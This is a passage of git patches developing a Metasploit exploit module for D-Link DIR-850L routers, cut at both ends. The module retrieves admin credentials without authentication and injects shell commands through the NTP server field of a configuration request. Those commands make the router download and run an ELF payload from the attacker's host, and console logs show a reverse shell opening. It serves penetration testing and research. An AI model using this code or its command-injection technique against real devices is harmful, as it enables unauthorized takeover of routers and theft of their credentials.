         'cookie' => "uid=#{uid}"
-        })
+      })
+      # execute configuration
       res = send_request_cgi({
         'uri' => '/pigwidgeon.cgi',
         'method' => 'POST',
@@ -162,9 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     print_status("#{peer} - Initiating exploitation...")
     execute_cmdstager(
-      :flavor => :wget,
-      :background => true,
-      :nodelete => true
+      :flavor => :wget
     )
   end
 end

From 8c0da8ea9000d0a7fc9d4ff45c8989e5c810fe87 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 3 Nov 2017 06:24:07 -0400
Subject: [PATCH 093/254] Update dlink_850l_unauth_exec.rb

---
 modules/exploits/linux/http/dlink_850l_unauth_exec.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 70e1f8e5db..f718fa85d7 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -1,7 +1,7 @@
 require 'openssl'
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = ExcellentRanking
+  Rank = GreatRanking
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::CmdStager

From 705c1cc6a70fefb05bd62fa1d7bddf05dbc07e66 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 3 Nov 2017 08:33:42 -0400
Subject: [PATCH 094/254] Redo Functions

---
 .../linux/http/dlink_850l_unauth_exec.rb      | 172 ++++++++++++++++--
 1 file changed, 160 insertions(+), 12 deletions(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index f718fa85d7..498c6691ec 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -1,10 +1,17 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'openssl'
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = GreatRanking
+  Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::CmdStager
+  include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::Remote::EXE
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(info,
@@ -37,6 +44,14 @@ class MetasploitModule < Msf::Exploit::Remote
       },
       'Targets' => [[ 'Automatic', {} ]],
     ))
+
+    register_options(
+      [
+        OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
+        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
+        OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
+        OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
+      ])
   end
 
   def retrieve_creds
@@ -63,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
       parse = res.get_xml_document
       username = parse.at('//name').text
       password = parse.at('//password').text
-      vprint_status("#{peer} - Retrieved the username/password combo #{username}/#{password}")
+      vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
       return username, password
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
@@ -85,8 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def login
-    username, password = retrieve_creds
+  def login(username, password)
     uid, challenge = retrieve_uid
     begin
       hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
@@ -102,8 +116,8 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def execute_command(cmd, opts)
-    uid = login
+  def execute(cmd, username, password)
+    uid = login(username, password)
     payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
     payload << "<postxml>\r\n"
     payload << "<module>\r\n"
@@ -113,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote
     payload << "                        <ntp>\r\n"
     payload << "                                <enable>1</enable>\r\n"
     payload << "                                <period>604800</period>\r\n"
-    payload << "                                <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}) </server>\r\n"
+    payload << "                                <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}); </server>\r\n"
     payload << "                        </ntp>\r\n"
     payload << "                        <ntp6>\r\n"
     payload << "                                <enable>1</enable>\r\n"
@@ -145,6 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote
         'data' => 'ACTIONS=SETCFG,ACTIVATE',
         'cookie' => "uid=#{uid}"
       })
+      return res
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
     end
@@ -152,9 +167,142 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def exploit
-    print_status("#{peer} - Initiating exploitation...")
-    execute_cmdstager(
-      :flavor => :wget
-    )
+
+    #
+    # Information Retrieval, obtains creds and logs in
+    #
+    username, password = retrieve_creds
+
+    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
+
+    @pl = generate_payload_exe
+    @elf_sent = false
+
+    # HTTP Server
+    resource_uri = '/' + downfile
+    if (datastore['DOWNHOST'])
+      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
+    else
+      # no ssl...
+      if datastore['SSL']
+        ssl_restore = true
+        datastore['SSL'] = false
+      end
+
+      #
+      # Service URL
+      #
+      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
+        srv_host = Rex::Socket.source_address(rhost)
+      else
+        srv_host = datastore['SRVHOST']
+      end
+
+      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+
+      #
+      # Retrieve UID from target after authentication
+      #
+
+      print_status("#{peer} - Starting up web service #{service_url}")
+
+      start_service({'Uri' => {
+        'Proc' => Proc.new { |cli, req|
+          on_request_uri(cli, req)
+        },
+        'Path' => resource_uri
+      }})
+
+      datastore['SSL'] = true if ssl_restore
+    end
+
+
+    #
+    # Requests target to download payload
+    #
+    print_status("#{peer} - Asking target to request to download #{service_url}")
+
+    filename = rand_text_alpha_lower(8)
+
+    cmd = "wget #{service_url} -O /tmp/#{filename}"
+    res = execute(cmd, username, password)
+    if (!res)
+      fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload")
+    end
+
+    if (datastore['DOWNHOST'])
+      print_status("#{peer} - Giving #{datastore['HTTP_DELAY']} seconds to the device to download the payload")
+      select(nil, nil, nil, datastore['HTTP_DELAY'])
+    else
+      wait_for_linux_payload
+    end
+    register_file_for_cleanup("/tmp/#{filename}")
+
+
+    #
+    # Sets binary permissions to executable
+    #
+    cmd = "chmod 777 /tmp/#{filename}"
+    print_status("#{peer} - Requesting device to chmod #{downfile}")
+    res = execute(cmd, username, password)
+    if (!res)
+      fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload") # fannccyyy
+    end
+
+    #
+    # Executes binary on target
+    #
+    cmd = "/tmp/#{filename}"
+    print_status("#{peer} - Requesting device to execute #{downfile}")
+    res = execute(cmd, username, password)
+    if (!res)
+      fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload")
+    end
+    wait_for_connect
+  end
+
+
+  #
+  # Handler for web server payload delivery
+  #
+  def on_request_uri(cli, request)
+    if (not @pl)
+      print_error("#{peer} - A request came in, but the payload was not ready")
+      return
+    end
+    print_status("#{peer} - Sending payload to the server...")
+    @elf_sent = true,
+    send_response(cli, @pl)
+  end
+
+  #
+  # Waits for shell to connect back to us, otherwise server stops and nothing is returned
+  #
+  def wait_for_connect
+    print_status("#{peer} - Waiting for shell to connect back to us...")
+    waited = 0
+    while (@elf_sent)
+      select(nil, nil, nil, 1)
+      waited += 1
+      if (waited > datastore['CONNECTBACK_DELAY'])
+        fail_with(Failure::Unknown, "#{peer} - Shell never connected to us!, disconnect?")
+      end
+    end
+  end
+
+  #
+  # Waits for target to request payload
+  #
+  def wait_for_linux_payload
+    print_status("#{peer} - Waiting for target to request the ELF payload...")
+
+    waited = 0
+    while (not @elf_sent)
+      select(nil, nil, nil, 1)
+      waited += 1
+      if (waited > datastore['HTTP_DELAY'])
+        fail_with(Failure::Unknown, "#{peer} - Target didn't request the ELF payload - Maybe it can't connect back?") # ;-;
+      end
+    end
   end
 end

From 32a75e978240a5e66d3c940c6941ac8f517f244a Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 3 Nov 2017 09:02:48 -0400
Subject: [PATCH 095/254] Update dlink_850l_unauth_exec.rb

---
 .../linux/http/dlink_850l_unauth_exec.rb      | 40 +++++++++----------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 498c6691ec..168fa8567d 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -121,26 +121,26 @@ class MetasploitModule < Msf::Exploit::Remote
     payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
     payload << "<postxml>\r\n"
     payload << "<module>\r\n"
-    payload << "        <service>DEVICE.TIME</service>\r\n"
-    payload << "        <device>\r\n"
-    payload << "                <time>\r\n"
-    payload << "                        <ntp>\r\n"
-    payload << "                                <enable>1</enable>\r\n"
-    payload << "                                <period>604800</period>\r\n"
-    payload << "                                <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}); </server>\r\n"
-    payload << "                        </ntp>\r\n"
-    payload << "                        <ntp6>\r\n"
-    payload << "                                <enable>1</enable>\r\n"
-    payload << "                                <period>604800</period>\r\n"
-    payload << "                        </ntp6>\r\n"
-    payload << "                        <timezone>20</timezone>\r\n"
-    payload << "                        <time/>\r\n"
-    payload << "                        <date/>\r\n"
-    payload << "                        <dst>0</dst>\r\n"
-    payload << "                        <dstmanual/>\r\n"
-    payload << "                        <dstoffset/>\r\n"
-    payload << "                </time>\r\n"
-    payload << "        </device>\r\n"
+    payload << "  <service>DEVICE.TIME</service>\r\n"
+    payload << "  <device>\r\n"
+    payload << "    <time>\r\n"
+    payload << "      <ntp>\r\n"
+    payload << "        <enable>1</enable>\r\n"
+    payload << "        <period>604800</period>\r\n"
+    payload << "        <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
+    payload << "      </ntp>\r\n"
+    payload << "      <ntp6>\r\n"
+    payload << "        <enable>1</enable>\r\n"
+    payload << "        <period>604800</period>\r\n"
+    payload << "      </ntp6>\r\n"
+    payload << "      <timezone>20</timezone>\r\n"
+    payload << "      <time/>\r\n"
+    payload << "      <date/>\r\n"
+    payload << "      <dst>0</dst>\r\n"
+    payload << "      <dstmanual/>\r\n"
+    payload << "      <dstoffset/>\r\n"
+    payload << "    </time>\r\n"
+    payload << "  </device>\r\n"
     payload << "</module>\r\n"
     payload << "</postxml>"
     begin

From 40bcb3f0c8846e67b6ce61758f7115bd91c5b2a5 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 3 Nov 2017 09:09:51 -0400
Subject: [PATCH 096/254] update documentation

---
 .../linux/http/dlink_dir850l_unauth_exec.md   | 53 +++++++++++++++----
 1 file changed, 44 insertions(+), 9 deletions(-)

diff --git a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
index dc8863c9d1..fac596348e 100644
--- a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
+++ b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
@@ -16,7 +16,7 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
 ## Example
 
 ```
-msf > use exploit/linux/http/dlink_850l_unauth_exec
+msf > use exploit/linux/http/dlink_dir850l_unauth_exec
 msf exploit(dlink_850l_unauthenticated_exec) > set RHOST 192.168.0.14
 RHOST => 192.168.0.14
 msf exploit(dlink_850l_unauthenticated_exec) > set RPORT 80
@@ -26,15 +26,50 @@ LHOST => ens3
 msf exploit(dlink_850l_unauthenticated_exec) > set LPORT 1351
 LPORT => 1351
 msf exploit(dlink_850l_unauthenticated_exec) > run
+[*] Exploit running as background job 0.
 
 [*] Started reverse TCP handler on 192.168.0.11:1351
-[*] 192.168.0.14:80 - Initiating exploitation...
-[*] Using URL: http://0.0.0.0:80/Muw2WNUEmsAlcdl
-[*] Local IP: http://192.168.0.11:80/Muw2WNUEmsAlcdl
-[*] 192.168.0.14:80 - Retrieving uid and auth challenge...
-[*] Command Stager progress - 100.00% done (101/101 bytes)
-[*] Client 192.168.0.14 (Wget) requested /Muw2WNUEmsAlcdl
-[*] Sending payload to 192.168.0.14 (Wget)
-[*] Command shell session 2 opened (192.168.0.11:1351 -> 192.168.0.14:55167) at 2017-11-02 15:37:06 -0400
+msf exploit(dlink_850l_unauthenticated_exec) > [*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:80/kiRtmoNlSNHUnxO
+[*] Using URL: http://0.0.0.0:80/kiRtmoNlSNHUnxO
+[*] Local IP: http://192.168.0.11:80/kiRtmoNlSNHUnxO
+[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:80/kiRtmoNlSNHUnxO
+[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
+[*] 192.168.0.14:80 - Sending payload to the server...
+[*] 192.168.0.14:80 - Requesting device to chmod kiRtmoNlSNHUnxO
+[*] 192.168.0.14:80 - Requesting device to execute kiRtmoNlSNHUnxO
+[*] 192.168.0.14:80 - Waiting for shell to connect back to us...
+[*] Sending stage (84 bytes) to 192.168.0.14
+[*] Command shell session 1 opened (192.168.0.11:1351 -> 192.168.0.14:48679) at 2017-11-03 09:05:13 -0400
+[+] Deleted /tmp/dhufstzw
+sessions -i 1
+[*] Starting interaction with 1...
+
+3353690789
+yBvPAaTjxEjNJrrzHHdFNXGNWNywfECC
+true
+MhhOHvSRnLmxcFwdTiIdZFcHzGRAIhlA
+mMzxldJdkNYWlIrHrOazzOcpCRTuRipt
+OayNFBMDfTSaJIFwpNPoWErXCvLmIguK
+[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
 [*] Server stopped.
+pwd
+/
+ls
+www
+var
+usr
+tmp
+sys
+sbin
+proc
+mydlink
+mnt
+lib
+include
+htdocs
+home
+etc
+dev
+bin
+
 ```

From deb5a7b0151a8775f462ddce73c229940fb4dc1b Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Fri, 3 Nov 2017 10:03:38 -0700
Subject: [PATCH 097/254] Bump version of framework to 4.16.16

---
 Gemfile.lock                        | 4 ++--
 lib/metasploit/framework/version.rb | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 4d5a45de98..024c7dca5d 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.15)
+    metasploit-framework (4.16.16)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -143,7 +143,7 @@ GEM
       googleapis-common-protos-types (~> 1.0.0)
       googleauth (>= 0.5.1, < 0.7)
     hashery (2.1.2)
-    i18n (0.9.0)
+    i18n (0.9.1)
       concurrent-ruby (~> 1.0)
     jsobfu (0.4.2)
       rkelly-remix
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 88b837dc2f..ab016eefbe 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.15"
+      VERSION = "4.16.16"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From cddec8ca6c53a2c995cce9f4693f79a2d2edd03a Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 3 Nov 2017 14:24:45 -0400
Subject: [PATCH 098/254] download creds, stores in loot.

---
 .../linux/http/dlink_850l_unauth_exec.rb      | 31 ++++++++++++++++++-
 1 file changed, 30 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 168fa8567d..f2b7489fd1 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Remote
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer
   include Msf::Exploit::Remote::EXE
+  include Msf::Auxiliary::Report
   include Msf::Exploit::FileDropper
 
   def initialize(info = {})
@@ -54,6 +55,32 @@ class MetasploitModule < Msf::Exploit::Remote
       ])
   end
 
+  def report_cred(opts)
+    service_data = {
+      address: opts[:ip],
+      port: opts[:port],
+      service_name: opts[:service_name],
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: fullname,
+      username: opts[:user],
+      private_data: opts[:password],
+      private_type: :password
+    }.merge(service_data)
+
+    login_data = {
+      core: create_credential(credential_data),
+      status: Metasploit::Model::Login::Status::UNTRIED,
+      proof: opts[:proof]
+    }.merge(service_data)
+
+    create_credential_login(login_data)
+  end
+
   def retrieve_creds
     begin
       xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
@@ -79,6 +106,8 @@ class MetasploitModule < Msf::Exploit::Remote
       username = parse.at('//name').text
       password = parse.at('//password').text
       vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
+      loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
+      print_good("#{peer} - Downloaded credentials to #{loot}")
       return username, password
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
@@ -104,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote
     uid, challenge = retrieve_uid
     begin
       hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
-      res = send_request_cgi({
+      send_request_cgi({
         'uri' => '/authentication.cgi',
         'method' => 'POST',
         'data' => "id=#{username}&password=#{hash}",

From 84599ed3fc4a0153de5aff808aef4c163abb6776 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Sat, 4 Nov 2017 07:58:13 -0400
Subject: [PATCH 099/254] Update dlink_850l_unauth_exec.rb

---
 .../linux/http/dlink_850l_unauth_exec.rb      | 28 +++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index f2b7489fd1..cd6cc8f7ad 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -54,6 +54,28 @@ class MetasploitModule < Msf::Exploit::Remote
         OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
       ])
   end
+  
+  def check
+    begin
+      res = send_request_cgi({
+        'uri' => '/',
+        'method' => 'GET'
+        })
+      if res && res.headers['Server']
+        auth = res.headers['Server']
+        if auth =~ /DIR-850L/
+          if auth =~ /WEBACCESS\/1\.0/
+            return Exploit::CheckCode::Safe
+          else
+            return Exploit::CheckCode::Detected
+          end
+        end
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+    Exploit::CheckCode::Unknown
+  end
 
   def report_cred(opts)
     service_data = {
@@ -196,7 +218,13 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def exploit
+    
+    print_status("#{peer} - Connecting to target...")
 
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
+    end
+    
     #
     # Information Retrieval, obtains creds and logs in
     #

From e783cb59ead15781f79364bfad7f8380fc8fa4cf Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Sat, 4 Nov 2017 08:53:50 -0400
Subject: [PATCH 100/254] add "check" & msftidy

---
 modules/exploits/linux/http/dlink_850l_unauth_exec.rb | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index cd6cc8f7ad..cd8fe1b141 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -51,10 +51,10 @@ class MetasploitModule < Msf::Exploit::Remote
         OptAddress.new('DOWNHOST', [ false, 'An alternative host to requst the ARMLE payload from' ]),
         OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
         OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
-        OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to attacker', 10])
+        OptInt.new('CONNECTBACK_DELAY', [ true, 'Time to wait for shell to connect back to listener', 10])
       ])
   end
-  
+
   def check
     begin
       res = send_request_cgi({
@@ -218,13 +218,11 @@ class MetasploitModule < Msf::Exploit::Remote
 
 
   def exploit
-    
     print_status("#{peer} - Connecting to target...")
 
     unless check == Exploit::CheckCode::Detected
       fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
     end
-    
     #
     # Information Retrieval, obtains creds and logs in
     #
@@ -336,7 +334,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # Waits for shell to connect back to us, otherwise server stops and nothing is returned
   #
   def wait_for_connect
-    print_status("#{peer} - Waiting for shell to connect back to us...")
+    print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
     waited = 0
     while (@elf_sent)
       select(nil, nil, nil, 1)

From 646c7f7c0a528e98f1e8cd122c45d5aa7e54eddd Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Sat, 4 Nov 2017 11:40:32 -0400
Subject: [PATCH 101/254] update doc

---
 .../linux/http/dlink_dir850l_unauth_exec.md   | 79 ++++++++-----------
 1 file changed, 34 insertions(+), 45 deletions(-)

diff --git a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
index fac596348e..a1158fa395 100644
--- a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
+++ b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
@@ -8,7 +8,7 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
   1. Start msfconsole
   2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
   3. Do : `set RHOST [RouterIP]`
-  4. Do : `set PAYLOAD linux/mipsle/shell/reverse_tcp`
+  4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
   5. Do : `run`
   6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
 
@@ -17,59 +17,48 @@ are potentially vulnerable. The vulneralbility seems to occur within the parsing
 
 ```
 msf > use exploit/linux/http/dlink_dir850l_unauth_exec
-msf exploit(dlink_850l_unauthenticated_exec) > set RHOST 192.168.0.14
+msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
 RHOST => 192.168.0.14
-msf exploit(dlink_850l_unauthenticated_exec) > set RPORT 80
+msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
 RPORT => 80
-msf exploit(dlink_850l_unauthenticated_exec) > set LHOST ens3
+msf exploit(dlink_dir850l_unauth_exec) > check
+[*] 192.168.0.14:80 The target service is running, but could not be validated.
+msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
+VERBOSE => true
+msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
 LHOST => ens3
-msf exploit(dlink_850l_unauthenticated_exec) > set LPORT 1351
-LPORT => 1351
-msf exploit(dlink_850l_unauthenticated_exec) > run
-[*] Exploit running as background job 0.
+msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
+LPORT => 3131
+msf exploit(dlink_dir850l_unauth_exec) > run
 
-[*] Started reverse TCP handler on 192.168.0.11:1351
-msf exploit(dlink_850l_unauthenticated_exec) > [*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:80/kiRtmoNlSNHUnxO
-[*] Using URL: http://0.0.0.0:80/kiRtmoNlSNHUnxO
-[*] Local IP: http://192.168.0.11:80/kiRtmoNlSNHUnxO
-[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:80/kiRtmoNlSNHUnxO
+[*] Started reverse TCP handler on 192.168.0.11:3131
+[*] 192.168.0.14:80 - Connecting to target...
+[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
+[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
+[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
+[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
+[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
+[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
 [*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
 [*] 192.168.0.14:80 - Sending payload to the server...
-[*] 192.168.0.14:80 - Requesting device to chmod kiRtmoNlSNHUnxO
-[*] 192.168.0.14:80 - Requesting device to execute kiRtmoNlSNHUnxO
-[*] 192.168.0.14:80 - Waiting for shell to connect back to us...
+[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
+[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
+[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
 [*] Sending stage (84 bytes) to 192.168.0.14
-[*] Command shell session 1 opened (192.168.0.11:1351 -> 192.168.0.14:48679) at 2017-11-03 09:05:13 -0400
-[+] Deleted /tmp/dhufstzw
-sessions -i 1
-[*] Starting interaction with 1...
-
-3353690789
-yBvPAaTjxEjNJrrzHHdFNXGNWNywfECC
-true
-MhhOHvSRnLmxcFwdTiIdZFcHzGRAIhlA
-mMzxldJdkNYWlIrHrOazzOcpCRTuRipt
-OayNFBMDfTSaJIFwpNPoWErXCvLmIguK
+[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
+[+] Deleted /tmp/uoskutcy
 [-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
 [*] Server stopped.
+[*] Exploit completed, but no session was created.
+msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
+[*] Starting interaction with 1...
+
+190745749
+wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
+true
+pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
+OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
+iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
 pwd
 /
-ls
-www
-var
-usr
-tmp
-sys
-sbin
-proc
-mydlink
-mnt
-lib
-include
-htdocs
-home
-etc
-dev
-bin
-
 ```

From 724c5fb963ad1c8100c7faafd5d4fa97e3be373e Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Sat, 4 Nov 2017 11:41:07 -0400
Subject: [PATCH 102/254] finish

---
 modules/exploits/linux/http/dlink_850l_unauth_exec.rb | 1 +
 1 file changed, 1 insertion(+)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index cd8fe1b141..3cc3e212ce 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
       ],
       'DisclosureDate' => 'Aug 9 2017',
+      'Stance' => Msf::Exploit::Stance::Aggressive,
       'License' => MSF_LICENSE,
       'Platform' => 'linux',
       'Arch' => ARCH_MIPSBE,

From 1758ed93d47545fe5e87e7c9b451001fef4a6bc6 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Sat, 4 Nov 2017 11:42:49 -0400
Subject: [PATCH 103/254] Update dlink_850l_unauth_exec.rb

---
 modules/exploits/linux/http/dlink_850l_unauth_exec.rb | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 3cc3e212ce..89488d54fc 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -20,9 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
         This module leverages an unauthenticated credential disclosure
         vulneralbility to then execute arbitrary commands on DIR-850L routers
